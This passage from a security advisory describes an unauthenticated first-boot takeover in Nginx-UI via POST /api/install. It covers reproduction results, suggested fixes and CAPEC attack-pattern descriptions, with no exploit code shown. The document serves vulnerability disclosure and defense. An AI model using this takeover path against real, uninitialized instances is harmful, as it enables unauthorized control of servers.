`http://127.0.0.1:9000` and run the standalone PoC.\n\n3. Observe the output.\n\nActual result:\n\n- `GET /api/install` returns `{\"lock\":false,\"timeout\":false}`\n- `POST /api/install` returns `{\"message\":\"ok\"}`\n- a follow-up `GET /api/install` returns `{\"lock\":true,\"timeout\":false}`\n- `POST /api/login` succeeds with the attacker-chosen username and password and returns a valid token\n\nExpected result:\n\n- arbitrary remote clients should never be able to complete bootstrap without a host-local or out-of-band secret\n- `POST /api/install` should be rejected unless the request carries a valid host-local or out-of-band bootstrap authorization factor\n- attacker-chosen bootstrap credentials and application secrets should never be accepted from arbitrary remote clients during first-run setup\n\n## Suggested Fix\n\n1. Remove remote unauthenticated installation as a security boundary. Do not rely on a 10-minute time window for protection.\n\n2. Require a local-only or out-of-band bootstrap secret for `POST /api/install`, for example:\n- generate a one-time setup token at startup\n- print or store it locally on the host\n- require that token to complete initialization\n\n3. Bind initial setup to loopback by default, or otherwise explicitly restrict first-run setup to trusted local access paths.\n\n4. Remove the pre-install unauthenticated exception from other sensitive setup-adjacent routes such as `/api/self_check` and `/api/restore`.\n\n5. As defense in depth, narrow CORS on setup endpoints. `POST /api/install` should not be callable cross-origin by arbitrary websites.\n\n6. Add regression tests covering:\n- unauthenticated remote `POST /api/install` being rejected by default\n- no installation claim without a valid bootstrap secret\n- `/api/self_check` and `/api/restore` requiring authentication\n- no cross-origin installation via browser preflight and JSON POST\n\n[^cors]: In live testing, `OPTIONS /api/install` returned `Access-Control-Allow-Origin: *`. That may enable browser-assisted exploitation in some deployment layouts, but it is not required for exploitation and is not the primary path.",
"id": "GHSA-mxqh-q9h6-v8pq",
"modified": "2026-05-06T16:59:43Z",
"published": "2026-05-06T16:59:43Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-mxqh-q9h6-v8pq"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42222"
},
{
"type": "PACKAGE",
"url": "https://github.com/0xJacky/nginx-ui"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Nginx-UI: Unauthenticated first-boot instance claim via POST /api/install allows remote bootstrap takeover"
}
Mitigation MIT-1
Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
Mitigation MIT-46
Strategy: Separation of Privilege
- Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.
- Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
CAPEC-19: Embedding Scripts within Scripts
An adversary leverages the capability to execute their own script by embedding it within other scripts that the target software is likely to execute due to programs' vulnerabilities that are brought on by allowing remote hosts to execute scripts.
CAPEC-441: Malicious Logic Insertion
An adversary installs or adds malicious logic (also known as malware) into a seemingly benign component of a fielded system. This logic is often hidden from the user of the system and works behind the scenes to achieve negative impacts. With the proliferation of mass digital storage and inexpensive multimedia devices, Bluetooth and 802.11 support, new attack vectors for spreading malware are emerging for things we once thought of as innocuous greeting cards, picture frames, or digital projectors. This pattern of attack focuses on systems already fielded and used in operation as opposed to systems and their components that are still under development and part of the supply chain.
CAPEC-478: Modification of Windows Service Configuration
An adversary exploits a weakness in access control to modify the execution parameters of a Windows service. The goal of this attack is to execute a malicious binary in place of an existing service.
CAPEC-479: Malicious Root Certificate
An adversary exploits a weakness in authorization and installs a new root certificate on a compromised system. Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.
CAPEC-502: Intent Spoof
An adversary, through a previously installed malicious application, issues an intent directed toward a specific trusted application's component in an attempt to achieve a variety of different objectives including modification of data, information disclosure, and data injection. Components that have been unintentionally exported and made public are subject to this type of an attack. If the component trusts the intent's action without verififcation, then the target application performs the functionality at the adversary's request, helping the adversary achieve the desired negative technical impact.
CAPEC-503: WebView Exposure
An adversary, through a malicious web page, accesses application specific functionality by leveraging interfaces registered through WebView's addJavascriptInterface API. Once an interface is registered to WebView through addJavascriptInterface, it becomes global and all pages loaded in the WebView can call this interface.
CAPEC-536: Data Injected During Configuration
An attacker with access to data files and processes on a victim's system injects malicious data into critical operational data during configuration or recalibration, causing the victim's system to perform in a suboptimal manner that benefits the adversary.
CAPEC-546: Incomplete Data Deletion in a Multi-Tenant Environment
An adversary obtains unauthorized information due to insecure or incomplete data deletion in a multi-tenant environment. If a cloud provider fails to completely delete storage and data from former cloud tenants' systems/resources, once these resources are allocated to new, potentially malicious tenants, the latter can probe the provided resources for sensitive information still there.
CAPEC-550: Install New Service
When an operating system starts, it also starts programs called services or daemons. Adversaries may install a new service which will be executed at startup (on a Windows system, by modifying the registry). The service name may be disguised by using a name from a related operating system or benign software. Services are usually run with elevated privileges.
CAPEC-551: Modify Existing Service
When an operating system starts, it also starts programs called services or daemons. Modifying existing services may break existing services or may enable services that are disabled/not commonly used.
CAPEC-552: Install Rootkit
An adversary exploits a weakness in authentication to install malware that alters the functionality and information provide by targeted operating system API calls. Often referred to as rootkits, it is often used to hide the presence of programs, files, network connections, services, drivers, and other system components.
CAPEC-556: Replace File Extension Handlers
When a file is opened, its file handler is checked to determine which program opens the file. File handlers are configuration properties of many operating systems. Applications can modify the file handler for a given file extension to call an arbitrary program when a file with the given extension is opened.
CAPEC-558: Replace Trusted Executable
An adversary exploits weaknesses in privilege management or access control to replace a trusted executable with a malicious version and enable the execution of malware when that trusted executable is called.
CAPEC-562: Modify Shared File
An adversary manipulates the files in a shared location by adding malicious programs, scripts, or exploit code to valid content. Once a user opens the shared content, the tainted content is executed.
CAPEC-563: Add Malicious File to Shared Webroot
An adversaries may add malicious content to a website through the open file share and then browse to that content with a web browser to cause the server to execute the content. The malicious content will typically run under the context and permissions of the web server process, often resulting in local system or administrative privileges depending on how the web server is configured.
CAPEC-564: Run Software at Logon
Operating system allows logon scripts to be run whenever a specific user or users logon to a system. If adversaries can access these scripts, they may insert additional code into the logon script. This code can allow them to maintain persistence or move laterally within an enclave because it is executed every time the affected user or users logon to a computer. Modifying logon scripts can effectively bypass workstation and enclave firewalls. Depending on the access configuration of the logon scripts, either local credentials or a remote administrative account may be necessary.
CAPEC-578: Disable Security Software
An adversary exploits a weakness in access control to disable security tools so that detection does not occur. This can take the form of killing processes, deleting registry keys so that tools do not start at run time, deleting log files, or other methods.